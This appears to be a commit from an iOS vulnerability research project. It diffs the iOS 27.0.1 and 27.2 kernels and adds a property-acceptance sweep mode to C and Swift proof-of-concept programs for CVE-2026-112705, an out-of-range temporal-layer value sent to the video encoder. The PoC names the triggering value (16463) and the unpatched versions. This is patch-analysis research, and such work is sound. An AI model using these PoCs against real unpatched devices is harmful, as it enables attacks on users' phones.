iOS 27.2 kernel differential + NTL fix-boundary sweep

- docs/IOS27.2-KERNEL-DIFF.md: 27.0.1 vs 27.2 (iPhone19,7), 162 advisory
  CVEs, 93 size-changed kexts; confirmed fix sites for 112705 (NTL 0..7
  assertion), 113910 (produced vs expected chunk bytes), 112507 (ipr/table
  NULL checks in ipc_misc.c); __DATA_SPTM byte-identical, no PPL/SPTM/MIE
  code change or bypass fix
- tools/ipsw/: Range-based IPSW reader, IM4P/LZFSE + fileset parser, kext
  extractor, llvm-objdump diff, advisory mapper
- CVE-2026-112705: --sweep mode (0..12, no frame) in both POCs; app module
  now sweeps 0/1/7/8/64/1024/16462/16463
- app 2.3 build 7

CVE-2026-112705/CVE-2026-112705.c

@@ -15,6 +15,7 @@
 // Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \
 //          -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation
 // Run:   ./cve-2026-112705 [layers] [--force-host]
+//        ./cve-2026-112705 --sweep        (property acceptance 0..12, no frame)
 
 #include <stdio.h>
 #include <stdlib.h>
@@ -54,8 +55,10 @@ static void print_readback(VTCompressionSessionRef s, const char *key) {
 int main(int argc, char **argv) {
     int layers = 16463;
     int force_host = 0;
+    int sweep = 0;
     for (int i = 1; i < argc; i++) {
         if (strcmp(argv[i], "--force-host") == 0) force_host = 1;
+        else if (strcmp(argv[i], "--sweep") == 0) sweep = 1;
         else if (atoi(argv[i]) > 0) layers = atoi(argv[i]);
     }
 
@@ -76,6 +79,21 @@ int main(int argc, char **argv) {
     set_prop(session, "RealTime", kCFBooleanFalse);
     printf("EncoderUsage=%d RCMode=%d\n", su, sr);
 
+    if (sweep) {
+        // 27.2 clamps the property to 0..7 (the new assertion string is
+        // "iNumberOfTemporalLayers <= 7"); 27.0/27.0.1 accepts the whole range.
+        printf("sweep: NTL acceptance 0..12 (no frame submitted)\n");
+        for (int n = 0; n <= 12; n++) {
+            CFNumberRef nv = CFNumberCreate(NULL, kCFNumberIntType, &n);
+            int32_t st = set_prop(session, "NumberOfTemporalLayers", nv);
+            CFRelease(nv);
+            printf("NTL %2d: status=%d\n", n, st);
+        }
+        VTCompressionSessionInvalidate(session);
+        CFRelease(session);
+        return 0;
+    }
+
     CFNumberRef n = CFNumberCreate(NULL, kCFNumberIntType, &layers);
     int32_t sn = set_prop(session, "NumberOfTemporalLayers", n);
     CFRelease(n);

CVE-2026-112705/CVE-2026-112705.swift

@@ -11,6 +11,7 @@
 // Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112705 CVE-2026-112705.swift \
 //          -framework VideoToolbox -framework CoreMedia -framework CoreVideo
 // Run:   ./cve-2026-112705 [layers] [--force-host]     default 16463
+//        ./cve-2026-112705 --sweep                    property acceptance 0..12, no frame
 
 import Foundation
 import VideoToolbox
@@ -19,6 +20,7 @@ import CoreVideo
 
 let args = CommandLine.arguments
 let forceHost = args.contains("--force-host")
+let sweep = args.contains("--sweep")
 let layers = args.dropFirst().first(where: { Int($0) != nil }).flatMap { Int($0) } ?? 16463
 
 func fourCC(_ v: OSStatus) -> String {
@@ -63,6 +65,17 @@ print("EncoderUsage=\(su) RCMode=\(sr)")
 let sn = set(s, "NumberOfTemporalLayers", NSNumber(value: layers))
 print("NumberOfTemporalLayers=\(layers) status=\(sn) readback: \(readBack(s, "NumberOfTemporalLayers"))")
 
+if sweep {
+    // 27.2 clamps to 0...7; 27.0/27.0.1 accepts the full range.
+    print("sweep: NTL acceptance 0...12 (no frame submitted)")
+    for n in 0...12 {
+        let st = set(s, "NumberOfTemporalLayers", NSNumber(value: n))
+        print("NTL \(n): status=\(st)")
+    }
+    VTCompressionSessionInvalidate(s)
+    exit(0)
+}
+
 if sn != 0 {
     print("property refused — fixed build (27.2+) or a platform without the AVE2 property")
     VTCompressionSessionInvalidate(s)